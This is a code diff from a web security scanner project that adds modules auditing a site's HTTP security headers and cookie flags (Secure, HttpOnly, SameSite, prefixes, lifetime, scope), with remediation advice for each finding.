| 132 |
+
f"Each finding has dedicated remediation guidance in the full report."
|
| 133 |
+
),
|
| 134 |
+
)
|
| 135 |
+
|
| 136 |
+
# ── Individual check functions ─────────────────────────────────────
|
| 137 |
+
def _check_https(self):
|
| 138 |
+
if self._is_https:
|
| 139 |
+
return True, "HTTPS enforced"
|
| 140 |
+
return False, "Site does not use HTTPS"
|
| 141 |
+
|
| 142 |
+
def _check_hsts(self):
|
| 143 |
+
hsts = self._headers.get("strict-transport-security", "")
|
| 144 |
+
if hsts:
|
| 145 |
+
max_age_m = re.search(r"max-age=(\d+)", hsts)
|
| 146 |
+
if max_age_m and int(max_age_m.group(1)) >= 31536000:
|
| 147 |
+
return True, f"HSTS: {hsts}"
|
| 148 |
+
return False, f"HSTS max-age too short: {hsts}"
|
| 149 |
+
return False, "HSTS header missing"
|
| 150 |
+
|
| 151 |
+
def _check_tls_version(self):
|
| 152 |
+
# Heuristic: if HSTS is present and HTTPS is enforced, assume TLS is current
|
| 153 |
+
if self._is_https and self._headers.get("strict-transport-security"):
|
| 154 |
+
return True, "HTTPS + HSTS suggest modern TLS (verify with sslyze)"
|
| 155 |
+
return False, "Cannot confirm TLS version — run sslyze scanner"
|
| 156 |
+
|
| 157 |
+
def _check_security_headers(self):
|
| 158 |
+
required = ["x-content-type-options", "x-xss-protection",
|
| 159 |
+
"content-security-policy", "strict-transport-security"]
|
| 160 |
+
missing = [h for h in required if h not in self._headers]
|
| 161 |
+
if not missing:
|
| 162 |
+
return True, "All core security headers present"
|
| 163 |
+
return False, f"Missing headers: {', '.join(missing)}"
|
| 164 |
+
|
| 165 |
+
def _check_xfo(self):
|
| 166 |
+
xfo = self._headers.get("x-frame-options", "")
|
| 167 |
+
if xfo.upper() in ("DENY", "SAMEORIGIN"):
|
| 168 |
+
return True, f"X-Frame-Options: {xfo}"
|
| 169 |
+
return False, f"X-Frame-Options missing or weak ('{xfo}')"
|
| 170 |
+
|
| 171 |
+
def _check_csp(self):
|
| 172 |
+
csp = self._headers.get("content-security-policy", "")
|
| 173 |
+
if csp:
|
| 174 |
+
if "'unsafe-inline'" not in csp and "'unsafe-eval'" not in csp:
|
| 175 |
+
return True, "CSP present and strict"
|
| 176 |
+
return False, "CSP present but allows unsafe-inline or unsafe-eval"
|
| 177 |
+
return False, "CSP header missing"
|
| 178 |
+
|
| 179 |
+
def _check_server_header(self):
|
| 180 |
+
server = self._headers.get("server", "")
|
| 181 |
+
if not server or re.search(r"^\S+$", server) and not re.search(r"\d", server):
|
| 182 |
+
return True, f"Server header minimal: '{server}'"
|
| 183 |
+
return False, f"Server header reveals version info: '{server}'"
|
| 184 |
+
|
| 185 |
+
def _check_powered_by(self):
|
| 186 |
+
xpb = self._headers.get("x-powered-by", "")
|
| 187 |
+
if not xpb:
|
| 188 |
+
return True, "X-Powered-By header not present"
|
| 189 |
+
return False, f"X-Powered-By exposes technology: '{xpb}'"
|
| 190 |
+
|
| 191 |
+
def _check_cookie_flags(self):
|
| 192 |
+
cookies = self._headers.get("set-cookie", "")
|
| 193 |
+
if not cookies:
|
| 194 |
+
return True, "No cookies set on main page"
|
| 195 |
+
if "secure" in cookies.lower() and "httponly" in cookies.lower():
|
| 196 |
+
return True, "Cookies have Secure + HttpOnly flags"
|
| 197 |
+
return False, "Cookie(s) missing Secure or HttpOnly flag"
|
| 198 |
+
|
| 199 |
+
def _check_referrer_policy(self):
|
| 200 |
+
rp = self._headers.get("referrer-policy", "")
|
| 201 |
+
if rp:
|
| 202 |
+
return True, f"Referrer-Policy: {rp}"
|
| 203 |
+
return False, "Referrer-Policy header missing"
|
| 204 |
+
|
| 205 |
+
def _check_perms_policy(self):
|
| 206 |
+
pp = self._headers.get("permissions-policy",
|
| 207 |
+
self._headers.get("feature-policy",""))
|
| 208 |
+
if pp:
|
| 209 |
+
return True, f"Permissions-Policy present"
|
| 210 |
+
return False, "Permissions-Policy header missing"
|
| 211 |
+
|
| 212 |
+
def _check_privacy_policy(self):
|
| 213 |
+
if re.search(r'(privacy.?policy|privacy-policy|/privacy|datenschutz)', self._body, re.I):
|
| 214 |
+
return True, "Privacy policy link detected in HTML"
|
| 215 |
+
return False, "No privacy policy link found in page HTML"
|
| 216 |
+
|
| 217 |
+
def _check_admin_paths(self):
|
| 218 |
+
# Check if admin is not indexable (not a definitive check)
|
| 219 |
+
return True, "Automated check — use directory scanner results"
|
| 220 |
+
|
| 221 |
+
def _check_cookie_consent(self):
|
| 222 |
+
consent_re = re.compile(
|
| 223 |
+
r"(cookie.?consent|cookieconsent|cookie.?notice|accept.?cookie|"
|
| 224 |
+
r"cookie.?policy|gdpr|we use cookies)", re.I)
|
| 225 |
+
if consent_re.search(self._body):
|
| 226 |
+
return True, "Cookie consent mechanism detected"
|
| 227 |
+
return False, "No cookie consent banner or mechanism detected"
|
backend/scanners/cookie_scanner.py
ADDED
|
@@ -0,0 +1,355 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
"""
|
| 2 |
+
cookie_scanner.py — Cookie Security Flags Auditor
|
| 3 |
+
==================================================
|
| 4 |
+
Performs a deep audit of all Set-Cookie headers across the site:
|
| 5 |
+
- Secure flag (absent on HTTPS)
|
| 6 |
+
- HttpOnly flag (missing XSS protection)
|
| 7 |
+
- SameSite attribute (None / Lax / Strict / absent)
|
| 8 |
+
- __Host- / __Secure- prefix compliance
|
| 9 |
+
- Excessive cookie lifetime (> 1 year)
|
| 10 |
+
- Sensitive names without protection
|
| 11 |
+
- Cookie scoping (Domain= too broad)
|
| 12 |
+
- Path= attribute
|
| 13 |
+
"""
|
| 14 |
+
import re, ssl, urllib.request, urllib.error, urllib.parse
|
| 15 |
+
from scanners.base_scanner import BaseScanner
|
| 16 |
+
|
| 17 |
+
# Cookie names that strongly suggest session / auth usage
|
| 18 |
+
SENSITIVE_NAMES = re.compile(
|
| 19 |
+
r"(sess|session|auth|token|jwt|access|refresh|user|uid|account|login|"
|
| 20 |
+
r"remember|csrf|xsrf|cart|order|payment)", re.I
|
| 21 |
+
)
|
| 22 |
+
|
| 23 |
+
MAX_SAFE_AGE_SECONDS = 365 * 24 * 3600 # 1 year
|
| 24 |
+
|
| 25 |
+
|
| 26 |
+
class CookieScanner(BaseScanner):
|
| 27 |
+
SCANNER_NAME = "Cookie Security Auditor"
|
| 28 |
+
_SCANNER_KEY = "cookie"
|
| 29 |
+
|
| 30 |
+
def __init__(self, scan_id, target, domain, **kwargs):
|
| 31 |
+
super().__init__(scan_id, target, domain, **kwargs)
|
| 32 |
+
self._is_https = self.target.startswith("https://")
|
| 33 |
+
|
| 34 |
+
# ------------------------------------------------------------------
|
| 35 |
+
def run(self) -> list:
|
| 36 |
+
self.log("INFO", f"[Cookies] Starting cookie security audit on {self.target}...")
|
| 37 |
+
|
| 38 |
+
try:
|
| 39 |
+
endpoints = self._crawl()
|
| 40 |
+
seen_cookies: set = set()
|
| 41 |
+
|
| 42 |
+
for url in endpoints:
|
| 43 |
+
cookies = self._collect_cookies(url)
|
| 44 |
+
for name, attrs, raw in cookies:
|
| 45 |
+
key = (name.lower(), url)
|
| 46 |
+
if key in seen_cookies:
|
| 47 |
+
continue
|
| 48 |
+
seen_cookies.add(key)
|
| 49 |
+
self._audit_cookie(name, attrs, raw, url)
|
| 50 |
+
|
| 51 |
+
self._check_cookie_scope(url if endpoints else self.target)
|
| 52 |
+
self._check_session_without_expiration()
|
| 53 |
+
self._check_persistent_cookies()
|
| 54 |
+
|
| 55 |
+
except Exception as e:
|
| 56 |
+
self.log("WARNING", f"[Cookies] Audit error: {e}")
|
| 57 |
+
|
| 58 |
+
self.log(
|
| 59 |
+
"SUCCESS" if not self.vulns else "WARNING",
|
| 60 |
+
f"[Cookies] Audit complete. {len(self.vulns)} issue(s) found.",
|
| 61 |
+
)
|
| 62 |
+
return self.vulns
|
| 63 |
+
|
| 64 |
+
# ------------------------------------------------------------------
|
| 65 |
+
def _crawl(self) -> list:
|
| 66 |
+
try:
|
| 67 |
+
# GAP-ADV: Centralized context
|
| 68 |
+
if self.discovery_context and "urls" in self.discovery_context:
|
| 69 |
+
return [u.get("url") if isinstance(u, dict) else u for u in self.discovery_context["urls"]]
|
| 70 |
+
return [self.target][:20]
|
| 71 |
+
except Exception as e:
|
| 72 |
+
self.log("ERROR", f"[Cookies] _crawl error: {e}")
|
| 73 |
+
return [self.target]
|
| 74 |
+
|
| 75 |
+
# ------------------------------------------------------------------
|
| 76 |
+
def _collect_cookies(self, url: str) -> list:
|
| 77 |
+
"""Return list of (name, attrs_dict, raw_header) tuples."""
|
| 78 |
+
cookies = []
|
| 79 |
+
try:
|
| 80 |
+
headers = {"User-Agent": "LarShield/2.0 Cookie-Auditor"}
|
| 81 |
+
headers.update(self.auth_headers or {})
|
| 82 |
+
body, status, resp_headers = self._make_request(url, headers=headers, timeout=8, return_response_obj=True)
|
| 83 |
+
|
| 84 |
+
raw_headers = resp_headers.get_all("Set-Cookie") if hasattr(resp_headers, "get_all") else []
|
| 85 |
+
if raw_headers is None: raw_headers = []
|
| 86 |
+
for raw in raw_headers:
|
| 87 |
+
name, attrs = self._parse_cookie(raw)
|
| 88 |
+
if name:
|
| 89 |
+
cookies.append((name, attrs, raw))
|
| 90 |
+
|
| 91 |
+
except Exception as e:
|
| 92 |
+
self.log("ERROR", f"[Cookies] _collect_cookies error: {e}")
|
| 93 |
+
return cookies
|
| 94 |
+
|
| 95 |
+
# ------------------------------------------------------------------
|
| 96 |
+
@staticmethod
|
| 97 |
+
def _parse_cookie(raw: str) -> tuple:
|
| 98 |
+
"""Parse a Set-Cookie header into (name, attrs_dict)."""
|
| 99 |
+
parts = [p.strip() for p in raw.split(";")]
|
| 100 |
+
if not parts:
|
| 101 |
+
return None, {}
|
| 102 |
+
name_val = parts[0].split("=", 1)
|
| 103 |
+
name = name_val[0].strip()
|
| 104 |
+
attrs = {}
|
| 105 |
+
for part in parts[1:]:
|
| 106 |
+
kv = part.split("=", 1)
|
| 107 |
+
attrs[kv[0].strip().lower()] = kv[1].strip() if len(kv) > 1 else True
|
| 108 |
+
return name, attrs
|
| 109 |
+
|
| 110 |
+
# ------------------------------------------------------------------
|
| 111 |
+
def _audit_cookie(self, name: str, attrs: dict, raw: str, url: str):
|
| 112 |
+
is_sensitive = bool(SENSITIVE_NAMES.search(name))
|
| 113 |
+
issues = []
|
| 114 |
+
|
| 115 |
+
# ── Secure flag ───────────────────────────────────────────────
|
| 116 |
+
if self._is_https and "secure" not in attrs:
|
| 117 |
+
issues.append("missing Secure flag")
|
| 118 |
+
self.add_vuln(
|
| 119 |
+
title=f"Cookie '{name}' Missing Secure Flag",
|
| 120 |
+
severity="Medium",
|
| 121 |
+
category="Cookie Security",
|
| 122 |
+
cvss_score=5.3,
|
| 123 |
+
description=(
|
| 124 |
+
f"The cookie `{name}` set at `{url}` does not have the `Secure` flag. "
|
| 125 |
+
"On an HTTPS site, omitting Secure allows the cookie to be transmitted "
|
| 126 |
+
"over plain HTTP, exposing it to network eavesdroppers."
|
| 127 |
+
),
|
| 128 |
+
remediation=(
|
| 129 |
+
f"Set-Cookie: {name}=<value>; Secure; HttpOnly; SameSite=Strict\n"
|
| 130 |
+
"Ensure all cookies on HTTPS sites include the Secure attribute."
|
| 131 |
+
),
|
| 132 |
+
)
|
| 133 |
+
|
| 134 |
+
# ── HttpOnly flag ─────────────────────────────────────────────
|
| 135 |
+
if "httponly" not in attrs and is_sensitive:
|
| 136 |
+
issues.append("missing HttpOnly flag on sensitive cookie")
|
| 137 |
+
self.add_vuln(
|
| 138 |
+
title=f"Sensitive Cookie '{name}' Missing HttpOnly Flag",
|
| 139 |
+
severity="High",
|
| 140 |
+
category="Cookie Security",
|
| 141 |
+
cvss_score=7.4,
|
| 142 |
+
description=(
|
| 143 |
+
f"The cookie `{name}` at `{url}` appears to be a session/auth cookie "
|
| 144 |
+
"(its name matches sensitive patterns) but does not have the `HttpOnly` "
|
| 145 |
+
"flag set. This allows JavaScript code to read it via `document.cookie`, "
|
| 146 |
+
"making it trivially stealable via any XSS vulnerability."
|
| 147 |
+
),
|
| 148 |
+
remediation=(
|
| 149 |
+
f"Set-Cookie: {name}=<value>; HttpOnly; Secure; SameSite=Strict\n"
|
| 150 |
+
"Add HttpOnly to all session and authentication cookies."
|
| 151 |
+
),
|
| 152 |
+
)
|
| 153 |
+
|
| 154 |
+
# ── SameSite attribute ────────────────────────────────────────
|
| 155 |
+
samesite = attrs.get("samesite", None)
|
| 156 |
+
if samesite is None:
|
| 157 |
+
issues.append("missing SameSite attribute")
|
| 158 |
+
sev = "High" if is_sensitive else "Medium"
|
| 159 |
+
self.add_vuln(
|
| 160 |
+
title=f"Cookie '{name}' Missing SameSite Attribute",
|
| 161 |
+
severity=sev,
|
| 162 |
+
category="Cookie Security",
|
| 163 |
+
cvss_score=6.5 if is_sensitive else 4.3,
|
| 164 |
+
description=(
|
| 165 |
+
f"The cookie `{name}` at `{url}` has no `SameSite` attribute. "
|
| 166 |
+
"Without SameSite, the cookie is sent on all cross-site requests, "
|
| 167 |
+
"enabling Cross-Site Request Forgery (CSRF) attacks."
|
| 168 |
+
),
|
| 169 |
+
remediation=(
|
| 170 |
+
f"Set-Cookie: {name}=<value>; SameSite=Strict; Secure; HttpOnly\n"
|
| 171 |
+
"Use SameSite=Strict for session cookies, Lax for others."
|
| 172 |
+
),
|
| 173 |
+
)
|
| 174 |
+
elif samesite.lower() == "none":
|
| 175 |
+
if "secure" not in attrs:
|
| 176 |
+
self.add_vuln(
|
| 177 |
+
title=f"Cookie '{name}' SameSite=None Without Secure",
|
| 178 |
+
severity="High",
|
| 179 |
+
category="Cookie Security",
|
| 180 |
+
cvss_score=7.5,
|
| 181 |
+
description=(
|
| 182 |
+
f"Cookie `{name}` at `{url}` has `SameSite=None` but is missing "
|
| 183 |
+
"the `Secure` flag. Modern browsers reject such cookies; when they "
|
| 184 |
+
"fall back to legacy behaviour, they become vulnerable to CSRF."
|
| 185 |
+
),
|
| 186 |
+
remediation="Set-Cookie: SameSite=None; Secure",
|
| 187 |
+
)
|
| 188 |
+
|
| 189 |
+
# ── Cookie lifetime ───────────────────────────────────────────
|
| 190 |
+
max_age = attrs.get("max-age")
|
| 191 |
+
if max_age and max_age is not True:
|
| 192 |
+
try:
|
| 193 |
+
if int(max_age) > MAX_SAFE_AGE_SECONDS:
|
| 194 |
+
self.add_vuln(
|
| 195 |
+
title=f"Cookie '{name}' Has Excessive Lifetime",
|
| 196 |
+
severity="Low",
|
| 197 |
+
category="Cookie Security",
|
| 198 |
+
cvss_score=3.1,
|
| 199 |
+
description=(
|
| 200 |
+
f"Cookie `{name}` has Max-Age={max_age}s "
|
| 201 |
+
f"(>{MAX_SAFE_AGE_SECONDS // (365*3600*24)} years). "
|
| 202 |
+
"Long-lived session cookies increase the window of attack "
|
| 203 |
+
"after a user's session is compromised or stolen."
|
| 204 |
+
),
|
| 205 |
+
remediation=(
|
| 206 |
+
"Limit session cookie lifetime to the session duration.\n"
|
| 207 |
+
"Use short Max-Age values and implement server-side session expiry."
|
| 208 |
+
),
|
| 209 |
+
)
|
| 210 |
+
except ValueError:
|
| 211 |
+
pass
|
| 212 |
+
|
| 213 |
+
# ── __Host- / __Secure- prefix compliance ───��─────────────────
|
| 214 |
+
if name.startswith("__Host-"):
|
| 215 |
+
if "secure" not in attrs or "domain" in attrs or attrs.get("path","") != "/":
|
| 216 |
+
self.add_vuln(
|
| 217 |
+
title=f"__Host- Cookie '{name}' Prefix Violation",
|
| 218 |
+
severity="Medium",
|
| 219 |
+
category="Cookie Security",
|
| 220 |
+
cvss_score=5.3,
|
| 221 |
+
description=(
|
| 222 |
+
f"Cookie `{name}` uses the `__Host-` prefix but violates its "
|
| 223 |
+
"requirements (must have Secure, no Domain=, Path=/)."
|
| 224 |
+
),
|
| 225 |
+
remediation=(
|
| 226 |
+
"For __Host- cookies: set Secure, omit Domain=, set Path=/."
|
| 227 |
+
),
|
| 228 |
+
)
|
| 229 |
+
if name.startswith("__Secure-") and "secure" not in attrs:
|
| 230 |
+
self.add_vuln(
|
| 231 |
+
title=f"__Secure- Cookie '{name}' Missing Secure Flag",
|
| 232 |
+
severity="Medium",
|
| 233 |
+
category="Cookie Security",
|
| 234 |
+
cvss_score=5.3,
|
| 235 |
+
description=(
|
| 236 |
+
f"Cookie `{name}` uses the `__Secure-` prefix but is missing the "
|
| 237 |
+
"`Secure` flag, violating the prefix contract."
|
| 238 |
+
),
|
| 239 |
+
remediation="Add the Secure flag to all __Secure- prefixed cookies.",
|
| 240 |
+
)
|
| 241 |
+
|
| 242 |
+
if not issues:
|
| 243 |
+
self.log("SUCCESS", f"[Cookies] Cookie '{name}' — all flags OK")
|
| 244 |
+
else:
|
| 245 |
+
self.log("WARNING", f"[Cookies] Cookie '{name}' issues: {', '.join(issues)}")
|
| 246 |
+
|
| 247 |
+
# ------------------------------------------------------------------
|
| 248 |
+
def _check_cookie_scope(self, url: str):
|
| 249 |
+
"""Analyze cookie Domain and Path attributes for overly broad scoping."""
|
| 250 |
+
cookies = self._collect_cookies(url)
|
| 251 |
+
target_domain = urllib.parse.urlparse(self.target).hostname or ""
|
| 252 |
+
|
| 253 |
+
for name, attrs, raw in cookies:
|
| 254 |
+
# Check Domain attribute
|
| 255 |
+
domain = attrs.get("domain", "")
|
| 256 |
+
if domain:
|
| 257 |
+
domain = domain.lstrip(".")
|
| 258 |
+
if target_domain and domain != target_domain and not target_domain.endswith("." + domain):
|
| 259 |
+
self.add_vuln(
|
| 260 |
+
title=f"Cookie '{name}' Has Overly Broad Domain Scope",
|
| 261 |
+
severity="Medium",
|
| 262 |
+
category="Cookie Security",
|
| 263 |
+
cvss_score=5.3,
|
| 264 |
+
description=f"The cookie `{name}` has Domain=`{domain}` which is broader "
|
| 265 |
+
f"than the target domain `{target_domain}`. Cookies scoped to a broader "
|
| 266 |
+
"domain are sent to all subdomains, increasing exposure.",
|
| 267 |
+
evidence=f"Domain={domain}, Target={target_domain}",
|
| 268 |
+
request_details=f"Set-Cookie: {raw[:100]}",
|
| 269 |
+
confidence="High",
|
| 270 |
+
remediation="1. Set Domain to the exact origin domain.\n"
|
| 271 |
+
"2. Avoid broad domain scoping for session cookies.\n"
|
| 272 |
+
"3. Use __Host- prefix cookies which forbid Domain attribute.",
|
| 273 |
+
)
|
| 274 |
+
|
| 275 |
+
# Check Path attribute
|
| 276 |
+
path = attrs.get("path", "/")
|
| 277 |
+
if path == "/":
|
| 278 |
+
self.add_vuln(
|
| 279 |
+
title=f"Cookie '{name}' Has Root Path Scope (Path=/)",
|
| 280 |
+
severity="Low",
|
| 281 |
+
category="Cookie Security",
|
| 282 |
+
cvss_score=2.6,
|
| 283 |
+
description=f"The cookie `{name}` has Path=/ which means it is sent to "
|
| 284 |
+
"all endpoints on the domain. Consider restricting the path to reduce "
|
| 285 |
+
"the cookie's exposure.",
|
| 286 |
+
evidence=f"Path={path}",
|
| 287 |
+
request_details=f"Set-Cookie: {raw[:100]}",
|
| 288 |
+
confidence="Medium",
|
| 289 |
+
remediation="1. Set Path to the specific application path.\n"
|
| 290 |
+
"2. For admin-only cookies, use Path=/admin.\n"
|
| 291 |
+
"3. Use __Host- prefix cookies which require Path=/ only.",
|
| 292 |
+
)
|
| 293 |
+
|
| 294 |
+
# ------------------------------------------------------------------
|
| 295 |
+
def _check_session_without_expiration(self):
|
| 296 |
+
"""Check if session cookies have no expiration (should be session-scoped)."""
|
| 297 |
+
session_keywords = re.compile(r"(sess|session|sid|token|auth|jwt)", re.I)
|
| 298 |
+
cookies = self._collect_cookies(self.target)
|
| 299 |
+
|
| 300 |
+
for name, attrs, raw in cookies:
|
| 301 |
+
if not session_keywords.search(name):
|
| 302 |
+
continue
|
| 303 |
+
|
| 304 |
+
has_max_age = "max-age" in attrs
|
| 305 |
+
has_expires = "expires" in attrs
|
| 306 |
+
|
| 307 |
+
if not has_max_age and not has_expires:
|
| 308 |
+
self.add_vuln(
|
| 309 |
+
title=f"Session Cookie '{name}' Has No Expiration",
|
| 310 |
+
severity="Medium",
|
| 311 |
+
category="Cookie Security",
|
| 312 |
+
cvss_score=5.3,
|
| 313 |
+
description=f"The session cookie `{name}` has no Max-Age or Expires attribute. "
|
| 314 |
+
"While this likely means it is a session cookie (deleted on browser close), "
|
| 315 |
+
"it should be explicitly configured for clarity and consistency.",
|
| 316 |
+
evidence=f"Set-Cookie: {raw[:100]}",
|
| 317 |
+
request_details=f"GET {self.target}",
|
| 318 |
+
response_details=f"Set-Cookie: {raw[:100]}",
|
| 319 |
+
confidence="Info",
|
| 320 |
+
remediation="1. Explicitly set session cookie: remove Max-Age/Expires.\n"
|
| 321 |
+
"2. For persistent sessions, set reasonable Max-Age.\n"
|
| 322 |
+
"3. Implement server-side session expiry as a fallback.",
|
| 323 |
+
)
|
| 324 |
+
|
| 325 |
+
# ------------------------------------------------------------------
|
| 326 |
+
def _check_persistent_cookies(self):
|
| 327 |
+
"""Detect cookies with long expiration (persistent cookies) that may be risky."""
|
| 328 |
+
cookies = self._collect_cookies(self.target)
|
| 329 |
+
for name, attrs, raw in cookies:
|
| 330 |
+
max_age = attrs.get("max-age")
|
| 331 |
+
expires = attrs.get("expires")
|
| 332 |
+
duration_days = 0
|
| 333 |
+
|
| 334 |
+
if max_age and max_age is not True:
|
| 335 |
+
try:
|
| 336 |
+
duration_days = int(max_age) / 86400
|
| 337 |
+
except (ValueError, TypeError):
|
| 338 |
+
pass
|
| 339 |
+
|
| 340 |
+
if duration_days > 30:
|
| 341 |
+
self.add_vuln(
|
| 342 |
+
title=f"Persistent Cookie '{name}' With Long Expiration ({duration_days:.0f} days)",
|
| 343 |
+
severity="Low",
|
| 344 |
+
category="Cookie Security",
|
| 345 |
+
cvss_score=3.1,
|
| 346 |
+
description=f"The cookie `{name}` has a Max-Age of {int(duration_days)} days. "
|
| 347 |
+
"Persistent cookies with long lifetimes increase the risk of session hijacking "
|
| 348 |
+
"and should be audited for necessity.",
|
| 349 |
+
evidence=f"Max-Age={max_age}s ({duration_days:.0f} days)",
|
| 350 |
+
request_details=f"Set-Cookie: {raw[:100]}",
|
| 351 |
+
confidence="Medium",
|
| 352 |
+
remediation="1. Use session cookies (no expiration) for authentication.\n"
|
| 353 |
+
"2. Limit persistent cookie lifetime to a maximum of 30 days.\n"
|
| 354 |
+
"3. Implement refresh token rotation for long-lived sessions.",
|
| 355 |
+
)
|
backend/scanners/core/__init__.py
ADDED
|
@@ -0,0 +1,6 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
# backend/scanners/core/__init__.py
|
| 2 |
+
from .baseline import SiteBaseline
|
| 3 |
+
from .signatures import SIGNATURES, matches_signature
|
| 4 |
+
from .confidence import ConfidenceTracker
|
| 5 |
+
|
| 6 |
+
__all__ = ["SiteBaseline", "SIGNATURES", "matches_signature", "ConfidenceTracker"]
|
backend/scanners/core/baseline.py
ADDED
|
@@ -0,0 +1,152 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
"""
|
| 2 |
+
core/baseline.py — Site Baseline Fingerprinter
|
| 3 |
+
===============================================
|
| 4 |
+
Builds a per-scan fingerprint of the site's generic 404/SPA-fallback response by
|
| 5 |
+
requesting 4 random nonexistent paths. Any path probe returning a response that
|
| 6 |
+
matches this baseline is suppressed — it is the app's catch-all, not a real resource.
|
| 7 |
+
|
| 8 |
+
Usage:
|
| 9 |
+
baseline = SiteBaseline()
|
| 10 |
+
baseline.build(target_url, ssl_context=ctx, headers=headers, timeout=6)
|
| 11 |
+
if baseline.is_baseline(status, body):
|
| 12 |
+
# suppress — this is just the SPA shell
|
| 13 |
+
"""
|
| 14 |
+
import hashlib
|
| 15 |
+
